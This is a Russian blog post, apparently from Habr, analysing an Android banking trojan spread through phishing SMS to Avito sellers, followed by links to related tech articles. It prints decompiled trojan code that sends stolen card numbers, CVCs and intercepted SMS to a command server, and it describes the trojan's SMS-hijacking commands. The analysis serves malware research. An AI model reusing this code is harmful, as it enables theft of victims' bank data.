Как я позорно деактивировал ботнет

image
Статья не соответствует заголовку, сервер внезапно поднялся. Двойной позор.
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK

Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:

delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом

sent&&& — отправка заданных СМС-сообщений с сервера

rent&&& — перехват всех СМС-сообщений и отправка их на сервер

sms_stop&&& — отмена перехвата СМС-сообщений

ussd&&& — USSD-запрос

call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок

protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c()))); arraylist.add(new BasicNameValuePair("number", b)); arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue()))); arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue()))); arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue()))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("set_card.php").toString()); } protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("get.php").toString()); } protected HttpRequestBase a() { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("text", c); jsonobject.put("number", d); jsonobject.put("date", e); HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("sms", jsonobject.toString())); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } catch(JSONException jsonexception) { jsonexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("load_sms.php").toString());

Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера. Читать дальше → Хабрахабр про Андройд
Другие новости раздела: android

android

Tecno представила серию Camon 50 в России

Бренд Tecno официально представил серию смартфонов Camon 50. Две модели — Camon 50 и Camon 50 Ultra 5G — позиционируются как камерофоны с упором на съёмку в движении, высокую защищённость корпуса и

android

Leica LeitzPhone на базе Xiaomi 17 Ultra: мобильная фотография с фишкой

В рамках презентации Xiaomi на MWC 2026 компания Leica представила новый Leitzphone — первый смартфон бренда, который выходит на глобальный рынок. Не удивляйтесь: Xiaomi и Leica сотрудничают друг с

android

Революция точности и новая эра беспроводных технологий — Bluetooth 6.0

Многие до сих пор воспринимают Bluetooth как технологию с досадными ограничениями: медленная передача данных, необходимость держать устройства буквально впритык друг к другу, бесконечное ожидание,

android

Фундаментальные различия между iOS и Android: философия, физика и компоненты

На первый взгляд может показаться, что современные мобильные операционные системы стали практически неотличимыми друг от друга. И iOS, и Android имеют иконки приложений, шторку уведомлений, виджеты

Похожие публикации

Настройки и обзоры

Какие наушники, смартфоны, ноутбуки можно купить на Avito прямо сейчас?

В свете последних событий торговые площадки типа «Авито» станут гораздо более востребованы и актуальны. Хотя правильнее будет сказать…

android

Android last.fm скробблер WAIL Beta теперь Open Source

Привет. Примерно полгода назад я запилил Android приложение для скробблинга проигрываемой в разных плеерах музыки в last.fm. Уже несколько месяцев у меня нет времени развивать этот проект, поэтому я

Кратко по миру

Почему Windows в 2019 году не рулит, или ЧЯДНТ?

Хорошая альтернативная точка зрения ---- Почему Windows в 2019 году не рулит, или ЧЯДНТ? // Все публикации подряд По мотивам статьи Почему Windows XP в 2019 году по-прежнему рулит, или ЧЯДНТ? у меня

Софт

Как запретить Mac открывать ненужные приложения

После покупки Mac у меня было два небольших нарекания к OS X: автоматическое открывание iTunes, когда я переходил по любой ссылке в App Store в Safari и запуск Захвата приложений и iTunes при

android

Как создавать патчи, основанные на доверчивой политике безопасности Android

Приветствую тебя, уважаемый читатель! Offtop В этом топике я хотел бы рассказать о том, как можно получать доступ к тому, что принадлежит нам, но косвенно. Любой софт — это чья-то собственность:

android

[Из песочницы] Универсальный метод обхода запрета Yota раздавать интернет с телефона или собираем модуль ядра Android

Старые методы и их недостатки Я думаю, никому уже не интересно читать во второй раз (а может быть и в третий), о том, как Yota определяет, пользуется ли человек телефоном в режиме модема или точки

Радиостанции / Настройки и обзоры

Стримим радиоэфир или полицейская волна онлайн

Продалжаем собирать материалы по средствам связи (и не только сотовым), крайне любопытная статья была опубликована на Хабрахабре. Пользователь vvzvlad рассказывает о схеме прслушивания диапазона

Софт

Как настроить клавишу ? (или любую другую) для извлечения флэшек и внешних жестких дисков

Недавно у меня наконец-то дошли руки оформить в USB-карман, вытащенный из моего MBP 13″, 500 гигабайтный жесткий диск, оставшийся после апгрейда. На этот шаг меня подтолкнула нехватка места на SSD,